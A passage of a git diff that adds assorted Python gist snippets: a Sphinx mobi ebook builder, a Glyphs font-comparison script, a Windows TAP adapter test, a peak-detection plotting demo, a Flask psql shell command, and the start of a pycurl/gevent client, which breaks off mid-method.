+      xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
+  <rootfiles>
+    <rootfile full-path="content.opf"
+        media-type="application/oebps-package+xml"/>
+  </rootfiles>
+</container>
+'''
+
+_toc_template = u'''\
+<?xml version="1.0"?>
+<ncx version="2005-1" xmlns="http://www.daisy.org/z3986/2005/ncx/">
+  <head>
+    <meta name="dtb:uid" content="%(uid)s"/>
+    <meta name="dtb:depth" content="%(level)d"/>
+    <meta name="dtb:totalPageCount" content="0"/>
+    <meta name="dtb:maxPageNumber" content="0"/>
+  </head>
+  <docTitle>
+    <text>%(title)s</text>
+  </docTitle>
+  <navMap>
+%(navpoints)s
+  </navMap>
+</ncx>
+'''
+
+_navpoint_template = u'''\
+%(indent)s  <navPoint id="%(navpoint)s" playOrder="%(playorder)d">
+%(indent)s    <navLabel>
+%(indent)s      <text>%(text)s</text>
+%(indent)s    </navLabel>
+%(indent)s    <content src="%(refuri)s" />
+%(indent)s  </navPoint>'''
+
+_navpoint_indent = '  '
+_navPoint_template = 'navPoint%d'
+
+_content_template = u'''\
+<?xml version="1.0" encoding="UTF-8"?>
+<package xmlns="http://www.idpf.org/2007/opf" version="2.0"
+      unique-identifier="%(uid)s">
+  <metadata xmlns:opf="http://www.idpf.org/2007/opf"
+        xmlns:dc="http://purl.org/dc/elements/1.1/">
+    <dc:language>%(lang)s</dc:language>
+    <dc:title>%(title)s</dc:title>
+    <dc:creator opf:role="aut">%(author)s</dc:creator>
+    <dc:publisher>%(publisher)s</dc:publisher>
+    <dc:rights>%(copyright)s</dc:rights>
+    <dc:identifier id="%(uid)s" opf:scheme="%(scheme)s">%(id)s</dc:identifier>
+    <dc:date>%(date)s</dc:date>
+  </metadata>
+  <manifest>
+    <item id="ncx" href="toc.ncx" media-type="application/x-dtbncx+xml" />
+%(files)s
+  </manifest>
+  <spine toc="ncx">
+%(spine)s
+  </spine>
+  <guide>
+    <reference Type="toc" title="Table of Contents" href="index.html" />
+  </guide>
+</package>
+'''
+
+_cover_template = u'''\
+    <meta name="cover" content="%(cover)s"/>
+'''
+
+_file_template = u'''\
+    <item id="%(id)s"
+          href="%(href)s"
+          media-type="%(media_type)s" />'''
+
+_spine_template = u'''\
+    <itemref idref="%(idref)s" />'''
+
+_toctree_template = u'toctree-l%d'
+
+_link_target_template = u' [%(uri)s]'
+
+_css_link_target_class = u'link-target'
+
+_media_types = {
+    '.html': 'application/xhtml+xml',
+    '.css': 'text/css',
+    '.png': 'image/png',
+    '.gif': 'image/gif',
+    '.svg': 'image/svg+xml',
+    '.jpg': 'image/jpeg',
+    '.jpeg': 'image/jpeg',
+    '.otf': 'application/x-font-otf',
+    '.ttf': 'application/x-font-ttf',
+}
+
+# Regular expression to match colons only in local fragment identifiers.
+# If the URI contains a colon before the #,
+# it is an external link that should not change.
+_refuri_re = re.compile("([^#:]*#)(.*)")
+
+
+def clean_html_file_for_kindle(filename):
+    def replace_tag(tag_old, tag_new, txt):
+        txt = txt.replace("<" + tag_old, "<" + tag_new)
+        return txt.replace("</{0}>".format(tag_old), "</{0}>".format(tag_new))
+
+    bakname = filename + ".bak"
+    shutil.move(filename, bakname)
+    destination = open(filename, 'w')
+    original = open(bakname, 'r')
+
+    for txt in original:
+        txt = replace_tag("span", "samp", txt)
+        #txt = replace_tag("pre", "code", txt)
+        destination.write(txt)
+
+    destination.close()
+    original.close()
+    os.remove(bakname)
+
+
+# The mobi publisher
+
+class MobiBuilder(StandaloneHTMLBuilder):
+    """
+    Builder that outputs mobi files.
+
+    It creates the metainfo files container.opf, toc.ncx, mimetype, and
+    META-INF/container.xml.  Afterwards, all necessary files are zipped to an
+    mobi file.
+    """
+    name = 'mobi'
+
+    # don't copy the reST source
+    copysource = False
+    supported_image_types = ['image/svg+xml', 'image/png', 'image/gif',
+                             'image/jpeg']
+
+    # don't add links
+    add_permalinks = False
+    # don't add sidebar etc.
+    embedded = True
+
+    def init(self):
+        StandaloneHTMLBuilder.init(self)
+        # the output files for mobi must be .html only
+        self.out_suffix = '.html'
+        self.playorder = 0
+
+    def get_theme_config(self):
+        return self.config.mobi_theme, {}
+
+    # generic support functions
+    def make_id(self, name):
+        """Replace all characters not allowed for (X)HTML ids."""
+        return name.replace('/', '_').replace(' ', '')
+
+    def esc(self, name):
+        """Replace all characters not allowed in text an attribute values."""
+        # Like cgi.escape, but also replace apostrophe
+        name = name.replace('&', '&amp;')
+        name = name.replace('<', '&lt;')
+        name = name.replace('>', '&gt;')
+        name = name.replace('"', '&quot;')
+        name = name.replace('\'', '&#39;')
+        return name
+
+    def get_refnodes(self, doctree, result):
+        """Collect section titles, their depth in the toc and the refuri."""
+        # XXX: is there a better way than checking the attribute
+        # toctree-l[1-8] on the parent node?
+        if isinstance(doctree, nodes.reference) and doctree.has_key('refuri'):
+            refuri = doctree['refuri']
+            if refuri.startswith('http://') or refuri.startswith('https://') \
+                or refuri.startswith('irc:') or refuri.startswith('mailto:'):
+                return result
+            classes = doctree.parent.attributes['classes']
+            for level in range(8, 0, -1): # or range(1, 8)?
+                if (_toctree_template % level) in classes:
+                    result.append({
+                        'level': level,
+                        'refuri': self.esc(refuri),
+                        'text': ssp(self.esc(doctree.astext()))
+                    })
+                    break
+        else:
+            for elem in doctree.children:
+                result = self.get_refnodes(elem, result)
+        return result
+
+    def get_toc(self):
+        """Get the total table of contents, containg the master_doc
+        and pre and post files not managed by sphinx.
+        """
+        doctree = self.env.get_and_resolve_doctree(self.config.master_doc,
+            self, prune_toctrees=False)
+        self.refnodes = self.get_refnodes(doctree, [])
+        main_dir = os.path.dirname(self.config.master_doc)
+        if main_dir:
+            main_dir += '/' # XXX or os.sep?
+            for item in self.refnodes:
+                item['refuri'] = main_dir + item['refuri']
+        self.refnodes.insert(0, {
+            'level': 1,
+            'refuri': self.esc(self.config.master_doc + '.html'),
+            'text': ssp(self.esc(
+                    self.env.titles[self.config.master_doc].astext()))
+        })
+        for file, text in reversed(self.config.mobi_pre_files):
+            self.refnodes.insert(0, {
+                'level': 1,
+                'refuri': self.esc(file),
+                'text': ssp(self.esc(text))
+            })
+        for file, text in self.config.mobi_post_files:
+            self.refnodes.append({
+                'level': 1,
+                'refuri': self.esc(file),
+                'text': ssp(self.esc(text))
+            })
+
+    def fix_fragment(self, prefix, fragment):
+        """Return a href/id attribute with colons replaced by hyphens."""
+        return prefix + fragment.replace(':', '-')
+
+    def fix_ids(self, tree):
+        """Replace colons with hyphens in href and id attributes.
+
+        Some readers crash because they interpret the part as a
+        transport protocol specification.
+        """
+        for node in tree.traverse(nodes.reference):
+            if 'refuri' in node:
+                m = _refuri_re.match(node['refuri'])
+                if m:
+                    node['refuri'] = self.fix_fragment(m.group(1), m.group(2))
+            if 'refid' in node:
+                node['refid'] = self.fix_fragment('', node['refid'])
+        for node in tree.traverse(addnodes.desc_signature):
+            ids = node.attributes['ids']
+            newids = []
+            for id in ids:
+                newids.append(self.fix_fragment('', id))
+            node.attributes['ids'] = newids
+
+    def add_visible_links(self, tree):
+        """Append visible link targets after external links."""
+        for node in tree.traverse(nodes.reference):
+            uri = node.get('refuri', '')
+            if (uri.startswith('http:') or uri.startswith('https:') or
+                    uri.startswith('ftp:')) and uri not in node.astext():
+                uri = _link_target_template % {'uri': uri}
+                if uri:
+                    idx = node.parent.index(node) + 1
+                    link = nodes.inline(uri, uri)
+                    link['classes'].append(_css_link_target_class)
+                    node.parent.insert(idx, link)
+
+    def write_doc(self, docname, doctree):
+        """Write one document file.
+
+        This method is overwritten in order to fix fragment identifiers
+        and to add visible external links.
+        """
+        self.fix_ids(doctree)
+        if self.config.mobi_add_visible_links:
+            self.add_visible_links(doctree)
+        return StandaloneHTMLBuilder.write_doc(self, docname, doctree)
+
+    def fix_genindex(self, tree):
+        """Fix href attributes for genindex pages."""
+        # XXX: modifies tree inline
+        # Logic modeled from themes/basic/genindex.html
+        for key, columns in tree:
+            for entryname, (links, subitems) in columns:
+                for (i, (ismain, link)) in enumerate(links):
+                    m = _refuri_re.match(link)
+                    if m:
+                        links[i] = (ismain,
+                                    self.fix_fragment(m.group(1), m.group(2)))
+                for subentryname, subentrylinks in subitems:
+                    for (i, (ismain, link)) in enumerate(subentrylinks):
+                        m = _refuri_re.match(link)
+                        if m:
+                            subentrylinks[i] = (ismain,
+                                self.fix_fragment(m.group(1), m.group(2)))
+
+    def handle_page(self, pagename, addctx, templatename='page.html',
+                    outfilename=None, event_arg=None):
+        """Create a rendered page.
+
+        This method is overwritten for genindex pages in order to fix href link
+        attributes.
+        """
+        if pagename.startswith('genindex'):
+            self.fix_genindex(addctx['genindexentries'])
+        StandaloneHTMLBuilder.handle_page(self, pagename, addctx, templatename,
+            outfilename, event_arg)
+
+
+    # Finish by building the mobi file
+    def handle_finish(self):
+        """Create the metainfo files and finally the mobi."""
+        self.get_toc()
+        self.build_mimetype(self.outdir, 'mimetype')
+        self.build_container(self.outdir, 'META-INF/container.xml')
+        self.build_content(self.outdir, 'content.opf')
+        self.build_toc(self.outdir, 'toc.ncx')
+
+        # we build an epub for now
+        self.cleanup_files()
+
+        mobi_name = self.config.mobi_basename + '.mobi'
+        fullname = os.path.join(self.outdir, "content.opf")
+        subprocess.call(["kindlegen", "-c1", fullname, "-o", mobi_name])
+
+
+    def build_mimetype(self, outdir, outname):
+        """Write the metainfo file mimetype."""
+        self.info('writing %s file...' % outname)
+        f = codecs.open(path.join(outdir, outname), 'w', 'utf-8')
+        try:
+            f.write(_mimetype_template)
+        finally:
+            f.close()
+
+    def build_container(self, outdir, outname):
+        """Write the metainfo file META-INF/cointainer.xml."""
+        self.info('writing %s file...' % outname)
+        fn = path.join(outdir, outname)
+        try:
+            os.mkdir(path.dirname(fn))
+        except OSError, err:
+            if err.errno != EEXIST:
+                raise
+        f = codecs.open(path.join(outdir, outname), 'w', 'utf-8')
+        try:
+            f.write(_container_template)
+        finally:
+            f.close()
+
+    def content_metadata(self, files, spine):
+        """Create a dictionary with all metadata for the content.opf
+        file properly escaped.
+        """
+        metadata = {}
+        metadata['title'] = self.esc(self.config.mobi_title)
+        metadata['author'] = self.esc(self.config.mobi_author)
+        metadata['uid'] = self.esc(self.config.mobi_uid)
+        metadata['lang'] = self.esc(self.config.mobi_language)
+        metadata['publisher'] = self.esc(self.config.mobi_publisher)
+        metadata['copyright'] = self.esc(self.config.mobi_copyright)
+        metadata['scheme'] = self.esc(self.config.mobi_scheme)
+        metadata['id'] = self.esc(self.config.mobi_identifier)
+        metadata['date'] = self.esc(time.strftime('%Y-%m-%d'))
+        metadata['files'] = files
+        metadata['spine'] = spine
+        return metadata
+
+    def build_content(self, outdir, outname):
+        """Write the metainfo file content.opf It contains bibliographic data,
+        a file list and the spine (the reading order).
+        """
+        self.info('writing %s file...' % outname)
+
+        # files
+        if not outdir.endswith(os.sep):
+            outdir += os.sep
+        olen = len(outdir)
+        projectfiles = []
+        self.files = []
+        self.ignored_files = ['.buildinfo',
+            'mimetype', 'content.opf', 'toc.ncx', 'META-INF/container.xml',
+            self.config.mobi_basename + '.mobi'] + \
+            self.config.mobi_exclude_files
+        for root, dirs, files in os.walk(outdir):
+            for fn in files:
+                filename = path.join(root, fn)[olen:]
+                if filename in self.ignored_files:
+                    continue
+                ext = path.splitext(filename)[-1]
+                if ext not in _media_types:
+                    self.warn('unknown mimetype for %s, ignoring' % filename)
+                    continue
+                projectfiles.append(_file_template % {
+                    'href': self.esc(filename),
+                    'id': self.esc(self.make_id(filename)),
+                    'media_type': self.esc(_media_types[ext])
+                })
+                self.files.append(filename)
+
+        # spine
+        spine = []
+        for item in self.refnodes:
+            if '#' in item['refuri']:
+                continue
+            if item['refuri'] in self.ignored_files:
+                continue
+            spine.append(_spine_template % {
+                'idref': self.esc(self.make_id(item['refuri']))
+            })
+        for info in self.domain_indices:
+            spine.append(_spine_template % {
+                'idref': self.esc(self.make_id(info[0] + self.out_suffix))
+            })
+        if self.config.html_use_index:
+            spine.append(_spine_template % {
+                'idref': self.esc(self.make_id('genindex' + self.out_suffix))
+            })
+
+        # add the optional cover
+        content_tmpl = _content_template
+        if self.config.mobi_cover:
+            image = self.config.mobi_cover
+            mpos = content_tmpl.rfind('</metadata>')
+            cpos = content_tmpl.rfind('\n', 0 , mpos) + 1
+            content_tmpl = content_tmpl[:cpos] + \
+                _cover_template % {'cover': self.esc(self.make_id(image))} + \
+                content_tmpl[cpos:]
+
+        projectfiles = '\n'.join(projectfiles)
+        spine = '\n'.join(spine)
+
+        # write the project file
+        f = codecs.open(path.join(outdir, outname), 'w', 'utf-8')
+        try:
+            f.write(content_tmpl % \
+                self.content_metadata(projectfiles, spine))
+        finally:
+            f.close()
+
+    def new_navpoint(self, node, level, incr=True):
+        """Create a new entry in the toc from the node at given level."""
+        # XXX Modifies the node
+        if incr:
+            self.playorder += 1
+        node['indent'] = _navpoint_indent * level
+        node['navpoint'] = self.esc(_navPoint_template % self.playorder)
+        node['playorder'] = self.playorder
+        return _navpoint_template % node
+
+    def insert_subnav(self, node, subnav):
+        """Insert nested navpoints for given node.
+
+        The node and subnav are already rendered to text.
+        """
+        nlist = node.rsplit('\n', 1)
+        nlist.insert(-1, subnav)
+        return '\n'.join(nlist)
+
+    def build_navpoints(self, nodes):
+        """Create the toc navigation structure.
+
+        Subelements of a node are nested inside the navpoint.  For nested nodes
+        the parent node is reinserted in the subnav.
+        """
+        navstack = []
+        navlist = []
+        level = 1
+        lastnode = None
+        for node in nodes:
+            if not node['text']:
+                continue
+            file = node['refuri'].split('#')[0]
+            if file in self.ignored_files:
+                continue
+            if node['level'] > self.config.mobi_tocdepth:
+                continue
+            if node['level'] == level:
+                navlist.append(self.new_navpoint(node, level))
+            elif node['level'] == level + 1:
+                navstack.append(navlist)
+                navlist = []
+                level += 1
+                if lastnode and self.config.mobi_tocdup:
+                    # Insert starting point in subtoc with same playOrder
+                    navlist.append(self.new_navpoint(lastnode, level, False))
+                navlist.append(self.new_navpoint(node, level))
+            else:
+                while node['level'] < level:
+                    subnav = '\n'.join(navlist)
+                    navlist = navstack.pop()
+                    navlist[-1] = self.insert_subnav(navlist[-1], subnav)
+                    level -= 1
+                navlist.append(self.new_navpoint(node, level))
+            lastnode = node
+        while level != 1:
+            subnav = '\n'.join(navlist)
+            navlist = navstack.pop()
+            navlist[-1] = self.insert_subnav(navlist[-1], subnav)
+            level -= 1
+        return '\n'.join(navlist)
+
+    def toc_metadata(self, level, navpoints):
+        """Create a dictionary with all metadata for the toc.ncx file
+        properly escaped.
+        """
+        metadata = {}
+        metadata['uid'] = self.config.mobi_uid
+        metadata['title'] = self.config.mobi_title
+        metadata['level'] = level
+        metadata['navpoints'] = navpoints
+        return metadata
+
+    def build_toc(self, outdir, outname):
+        """Write the metainfo file toc.ncx."""
+        self.info('writing %s file...' % outname)
+
+        navpoints = self.build_navpoints(self.refnodes)
+        level = max(item['level'] for item in self.refnodes)
+        level = min(level, self.config.mobi_tocdepth)
+        f = codecs.open(path.join(outdir, outname), 'w', 'utf-8')
+        try:
+            f.write(_toc_template % self.toc_metadata(level, navpoints))
+        finally:
+            f.close()
+
+    def cleanup_files(self):
+        """Write the mobi file using kindlegen."""
+
+        self.info('cleaning html files...')
+        for item in self.files:
+            if item.endswith("html"):
+                clean_html_file_for_kindle(os.path.join(self.outdir, item))
+
+
+def setup(app):
+    app.add_config_value('mobi_basename',lambda self: make_filename(self.project), None)
+    app.add_config_value('mobi_theme','mobi', 'html')
+    app.add_config_value('mobi_title',lambda self: self.html_title, 'html')
+    app.add_config_value('mobi_author','unknown', 'html')
+    app.add_config_value('mobi_language',lambda self: self.language or 'en', 'html')
+    app.add_config_value('mobi_publisher','unknown', 'html')
+    app.add_config_value('mobi_copyright',lambda self: self.copyright, 'html')
+    app.add_config_value('mobi_identifier','unknown', 'html')
+    app.add_config_value('mobi_scheme','unknown', 'html')
+    app.add_config_value('mobi_uid','unknown', 'env')
+    app.add_config_value('mobi_cover',(), 'env')
+    app.add_config_value('mobi_pre_files',[], 'env')
+    app.add_config_value('mobi_post_files',[], 'env')
+    app.add_config_value('mobi_exclude_files',[], 'env')
+    app.add_config_value('mobi_tocdepth',3, 'env')
+    app.add_config_value('mobi_tocdup',True, 'env')
+    app.add_config_value('mobi_add_visible_links',True, 'env')
+
+    app.add_builder(MobiBuilder)
diff --git a/hard-gists/58673e7bda3767bf82b1/._snippet.py b/hard-gists/58673e7bda3767bf82b1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/58673e7bda3767bf82b1/._snippet.py differ
diff --git a/hard-gists/58673e7bda3767bf82b1/snippet.py b/hard-gists/58673e7bda3767bf82b1/snippet.py
new file mode 100644
index 00000000..6a20f1e6
--- /dev/null
+++ b/hard-gists/58673e7bda3767bf82b1/snippet.py
@@ -0,0 +1,116 @@
+#MenuTitle: Compare Fonts
+# -*- coding: utf-8 -*-
+__doc__="""
+- Compare 2 open files and opens a new tab (in the current font) for each main showing the glyphs that are different between the 2 files.
+
+- A decomposed copy of each different glyph from the other file will also be pasted in the background of each glyph in the current file. 
+
+*** WARNING *** This will clear the background in the current font. Uncomment the "doNotCopyToBackground" line to disable it.
+
+"""
+
+import GlyphsApp
+from objectsGS import RFont
+from robofab.pens.digestPen import DigestPointPen
+
+doNotCopyToBackground = 0
+
+# Uncomment the following line to disable the script from copying over the background.
+# doNotCopyToBackground = 1
+
+def copyPathsAndAnchorsFromLayerToLayer( sourceLayer, targetLayer ):
+    # Copy Paths
+    numberOfPathsInSource  = len( sourceLayer.paths )
+
+    if numberOfPathsInSource > 0:
+        for thisPath in sourceLayer.paths:
+            newPath = thisPath.copy()
+            targetLayer.paths.append( newPath )
+
+    # Copy Anchors
+    numberOfAnchorsInSource = len( sourceLayer.anchors )
+
+    if numberOfAnchorsInSource > 0:
+        for thisAnchor in sourceLayer.anchors:
+            newAnchor = thisAnchor.copy()
+            targetLayer.anchors.append( newAnchor )
+            # print "   %s (%i, %i)" % ( thisAnchor.name, thisAnchor.position.x, thisAnchor.position.y )
+
+for thisMainIndex in range( len(Glyphs.fonts[0].masters) ):
+
+    # fonts = AllFonts()
+    # f1 = RFont(Glyphs.fonts[0])
+    # f2 = RFont(Glyphs.fonts[1])
+
+    f1 = RFont(Glyphs.documents[0].font, thisMainIndex)
+    f2 = RFont(Glyphs.documents[1].font, thisMainIndex)
+
+    f1_glyphset = set(f1.keys())
+    f2_glyphset = set(f2.keys())
+
+    commonGlyphs = list(f1_glyphset.intersection(f2_glyphset))
+    notSameGlyphsList = []
+    sameGlyphsList = []
+    blankGlyphsList = []
+    blankGlyphsString = ""
+    notSameGlyphsString = ""
+    sameGlyphsString = ""
+
+    for g in commonGlyphs:
+        g1 = f1[g]
+        g2 = f2[g]
+
+        p1 = DigestPointPen()
+        g1.drawPoints(p1)
+        d1 = p1.getDigest()
+
+        p2 = DigestPointPen()
+        g2.drawPoints(p2)
+        d2 = p2.getDigest()
+
+        if d1 != d2:
+            notSameGlyphsList += [g]
+            if d1 == () or d2 == ():
+                blankGlyphsList += [g]
+        else:
+            sameGlyphsList += [g]
+
+    blankGlyphsString = '/{0}'.format('/'.join(blankGlyphsList))
+    notSameGlyphsString = '/{0}'.format('/'.join(notSameGlyphsList))
+    sameGlyphsString = '/{0}'.format('/'.join(sameGlyphsList))
+
+    print "\n%s" % Glyphs.fonts[0].masters[thisMainIndex].name
+    print "\tDifferent Glyphs\n%s" % notSameGlyphsString
+    print "\n\tDifference is that one file is blank Glyphs\n%s" % blankGlyphsString
+    ## print "\n\tSame Glyphs\n%s" % sameGlyphsString
+
+    if doNotCopyToBackground == 0:
+        # Figure out which font is Glyphs.font and set thisFont as the file that is open
+        if Glyphs.font.filepath == Glyphs.fonts[1].filepath:
+            thisFont = Glyphs.fonts[1]
+            otherFont = Glyphs.fonts[0]
+        else:
+            thisFont = Glyphs.fonts[0]
+            otherFont = Glyphs.fonts[1]
+
+        # Add glyphs to background
+        thisFontMainID = thisFont.masters[thisMainIndex].id
+
+        for thisGlyphName in notSameGlyphsList:
+            if thisGlyphName not in blankGlyphsList:
+
+                # Get the current layer for the current glyph
+                thisLayerInOtherFont = otherFont.glyphs[thisGlyphName].layerForKey_(thisFontMainID)
+                thisLayerInThisFont = thisFont.glyphs[thisGlyphName].layerForKey_(thisFontMainID)
+                thisGlyphInThisFontLayerBackground = thisLayerInThisFont.background
+                sourceLayer = otherFont.glyphs[thisGlyphName].layerForKey_(thisFontMainID).copyDecomposedLayer()
+
+                # Clear the background and copy the paths, components and anchors
+                thisLayerInThisFont.background.clear()
+                copyPathsAndAnchorsFromLayerToLayer(sourceLayer, thisGlyphInThisFontLayerBackground)
+
+    # Open new tabs with different glphs
+    if notSameGlyphsList != []:
+        Glyphs.font.newTab(notSameGlyphsString)
+        # Change to the correct main
+        Glyphs.font.currentTab.setMasterIndex_(thisMainIndex)
diff --git a/hard-gists/586892/._snippet.py b/hard-gists/586892/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/586892/._snippet.py differ
diff --git a/hard-gists/586892/snippet.py b/hard-gists/586892/snippet.py
new file mode 100644
index 00000000..2bd4bbc5
--- /dev/null
+++ b/hard-gists/586892/snippet.py
@@ -0,0 +1,55 @@
+import _winreg as reg
+import win32file
+
+
+adapter_key = r'SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}'
+
+
+def get_device_guid():
+    with reg.OpenKey(reg.HKEY_LOCAL_MACHINE, adapter_key) as adapters:
+        try:
+            for i in xrange(10000):
+                key_name = reg.EnumKey(adapters, i)
+                with reg.OpenKey(adapters, key_name) as adapter:
+                    try:
+                        component_id = reg.QueryValueEx(adapter, 'ComponentId')[0]
+                        if component_id == 'tap0801':
+                            return reg.QueryValueEx(adapter, 'NetCfgInstanceId')[0]
+                    except WindowsError, err:
+                        pass
+        except WindowsError, err:
+            pass
+
+def CTL_CODE(device_type, function, method, access):
+    return (device_type << 16) | (access << 14) | (function << 2) | method;
+
+def TAP_CONTROL_CODE(request, method):
+    return CTL_CODE(34, request, method, 0)
+
+TAP_IOCTL_CONFIG_POINT_TO_POINT = TAP_CONTROL_CODE(5, 0)
+TAP_IOCTL_SET_MEDIA_STATUS = TAP_CONTROL_CODE(6, 0)
+TAP_IOCTL_CONFIG_TUN = TAP_CONTROL_CODE(10, 0)
+
+
+if __name__ == '__main__':
+    guid = get_device_guid()
+    handle = win32file.CreateFile(r'\\.\Global\%s.tap' % guid,
+                                  win32file.GENERIC_READ | win32file.GENERIC_WRITE,
+                                  win32file.FILE_SHARE_READ | win32file.FILE_SHARE_WRITE,
+                                  None, win32file.OPEN_EXISTING,
+                                  win32file.FILE_ATTRIBUTE_SYSTEM, # | win32file.FILE_FLAG_OVERLAPPED,
+                                  None)
+    print(handle.handle)
+    if False:
+        win32file.DeviceIoControl(handle, TAP_IOCTL_CONFIG_POINT_TO_POINT,
+                                  '\xc0\xa8\x11\x01\xc0\xa8\x11\x10', None);
+    else:
+        win32file.DeviceIoControl(handle, TAP_IOCTL_SET_MEDIA_STATUS, '\x01\x00\x00\x00', None)
+        win32file.DeviceIoControl(handle, TAP_IOCTL_CONFIG_TUN,
+                                  '\x0a\x03\x00\x01\x0a\x03\x00\x00\xff\xff\xff\x00', None)
+    while True:
+        l, p = win32file.ReadFile(handle, 2000)
+        q = p[:12] + p[16:20] + p[12:16] + p[20:]
+        win32file.WriteFile(handle, q)
+        print(p, q)
+    win32file.CloseHandle(handle)
diff --git a/hard-gists/587011a65d05f067a29ce9c22894d1d2/._snippet.py b/hard-gists/587011a65d05f067a29ce9c22894d1d2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/587011a65d05f067a29ce9c22894d1d2/._snippet.py differ
diff --git a/hard-gists/587011a65d05f067a29ce9c22894d1d2/snippet.py b/hard-gists/587011a65d05f067a29ce9c22894d1d2/snippet.py
new file mode 100644
index 00000000..583f70b6
--- /dev/null
+++ b/hard-gists/587011a65d05f067a29ce9c22894d1d2/snippet.py
@@ -0,0 +1,67 @@
+#!/usr/bin/env python
+# Implementation of algorithm from http://stackoverflow.com/a/22640362/6029703
+import numpy as np
+import pylab
+
+def thresholding_algo(y, lag, threshold, influence):
+    signals = np.zeros(len(y))
+    filteredY = np.array(y)
+    avgFilter = [0]*len(y)
+    stdFilter = [0]*len(y)
+    avgFilter[lag - 1] = np.mean(y[0:lag])
+    stdFilter[lag - 1] = np.std(y[0:lag])
+    for i in range(lag, len(y) - 1):
+        if abs(y[i] - avgFilter[i-1]) > threshold * stdFilter [i-1]:
+            if y[i] > avgFilter[i-1]:
+                signals[i] = 1
+            else:
+                signals[i] = -1
+
+            filteredY[i] = influence * y[i] + (1 - influence) * filteredY[i-1]
+            avgFilter[i] = np.mean(filteredY[(i-lag):i])
+            stdFilter[i] = np.std(filteredY[(i-lag):i])
+        else:
+            signals[i] = 0
+            filteredY[i] = y[i]
+            avgFilter[i] = np.mean(filteredY[(i-lag):i])
+            stdFilter[i] = np.std(filteredY[(i-lag):i])
+
+    return dict(signals = np.asarray(signals),
+                avgFilter = np.asarray(avgFilter),
+                stdFilter = np.asarray(stdFilter))
+
+
+
+# Data
+y = np.array([1,1,1.1,1,0.9,1,1,1.1,1,0.9,1,1.1,1,1,0.9,1,1,1.1,1,1,1,1,1.1,0.9,1,1.1,1,1,0.9,
+       1,1.1,1,1,1.1,1,0.8,0.9,1,1.2,0.9,1,1,1.1,1.2,1,1.5,1,3,2,5,3,2,1,1,1,0.9,1,1,3,
+       2.6,4,3,3.2,2,1,1,0.8,4,4,2,2.5,1,1,1])
+
+# Settings: lag = 30, threshold = 5, influence = 0
+lag = 30
+threshold = 5
+influence = 0
+
+# Run algo with settings from above
+result = thresholding_algo(y, lag=lag, threshold=threshold, influence=influence)
+
+# Plot result
+pylab.subplot(211)
+pylab.plot(np.arange(1, len(y)+1), y)
+
+pylab.plot(np.arange(1, len(y)+1),
+           result["avgFilter"], color="cyan", lw=2)
+
+pylab.plot(np.arange(1, len(y)+1),
+           result["avgFilter"] + threshold * result["stdFilter"], color="green", lw=2)
+
+pylab.plot(np.arange(1, len(y)+1),
+           result["avgFilter"] - threshold * result["stdFilter"], color="green", lw=2)
+
+pylab.subplot(212)
+pylab.step(np.arange(1, len(y)+1), result["signals"], color="red", lw=2)
+pylab.ylim(-1.5, 1.5)
+
+
+
+
diff --git a/hard-gists/5872584/._snippet.py b/hard-gists/5872584/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5872584/._snippet.py differ
diff --git a/hard-gists/5872584/snippet.py b/hard-gists/5872584/snippet.py
new file mode 100644
index 00000000..0132d55f
--- /dev/null
+++ b/hard-gists/5872584/snippet.py
@@ -0,0 +1,19 @@
+#!/usr/bin/env python
+import os
+os.environ.setdefault('SETTINGS_MODULE', 'data.settings_modules.vagrant')
+
+from flask_script import Manager
+from data.settings import DATABASES
+from web import app
+
+manager = Manager(app)
+
+@manager.command
+def dbshell():
+    db = DATABASES['mydb']
+    args = ["psql", "--host=%s" % db['HOST'], "--user=%s" % db['USER'],
+            "--dbname=%s" % db['NAME']]
+    os.execvp("psql", args)
+
+if __name__ == "__main__":
+    manager.run()
\ No newline at end of file
diff --git a/hard-gists/5875326/._snippet.py b/hard-gists/5875326/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5875326/._snippet.py differ
diff --git a/hard-gists/5875326/snippet.py b/hard-gists/5875326/snippet.py
new file mode 100644
index 00000000..2cd73555
--- /dev/null
+++ b/hard-gists/5875326/snippet.py
@@ -0,0 +1,180 @@
+"""Implementation of pycurl's "easy" interface that uses pycurl's multi interface + gevent.
+"""
+# parts of code from Tornado's curl_httpclient.py
+import logging
+import gevent
+assert gevent.version_info[:2] >= (0, 14), 'Gevent 0.14 or older required. Your version is %s' % gevent.__version__
+from gevent.core import EVENTS, READ, WRITE
+from gevent.hub import Waiter
+
+
+pycurl = __import__('pycurl')
+for key, value in pycurl.__dict__.iteritems():
+    if not key.startswith('_'):
+        key = {'Curl': '_Curl'}.get(key, key)
+        globals()[key] = value
+
+
+class GeventCurl(object):
+    """Integrate Curl's Multi interface into gevent's loop."""
+    # QQQ cannot inherit from CurlMulti for some reason
+
+    def __init__(self, loop=None):
+        if loop is None:
+            loop = gevent.get_hub().loop
+        self.loop = loop
+        self._watchers = {}
+        self._timeout = None
+        self._obj = CurlMulti()
+        self.setopt(pycurl.M_TIMERFUNCTION, self._set_timeout)
+        self.setopt(pycurl.M_SOCKETFUNCTION, self._set_socket)
+        try:
+            self._socket_action = self._obj.socket_action
+        except AttributeError:
+            # socket_action is found in pycurl since 7.18.2 (it's been
+            # in libcurl longer than that but wasn't accessible to
+            # python).
+            logging.warning("socket_action method missing from pycurl; "
+                            "falling back to socket_all. Upgrading "
+                            "libcurl and pycurl will improve performance")
+            self._socket_action = \
+                lambda fd, action: self._obj.socket_all()
+
+    def __getattr__(self, item):
+        return getattr(self._obj, item)
+
+    def _set_timeout(self, msecs):
+        """Called by libcurl to schedule a timeout."""
+        if self._timeout is not None:
+            self._timeout.stop()
+        self._timeout = self.loop.timer(msecs)
+        self._timeout.start(self._handle_timeout)
+
+    def add_handle(self, curl):
+        curl = getattr(curl, '_obj', curl)
+        self._obj.add_handle(curl)
+        self._set_timeout(0)
+
+    def remove_handle(self, curl):
+        curl = getattr(curl, '_obj', curl)
+        self._obj.remove_handle(curl)
+
+    def _set_socket(self, event, fd, multi, data):
+        """Called by libcurl when it wants to change the file descriptors it cares about."""
+        # pycurl's event happen to match libev's event
+        if event == pycurl.POLL_REMOVE or not event:
+            watcher = self._watchers.pop(fd, None)
+            if watcher is not None:
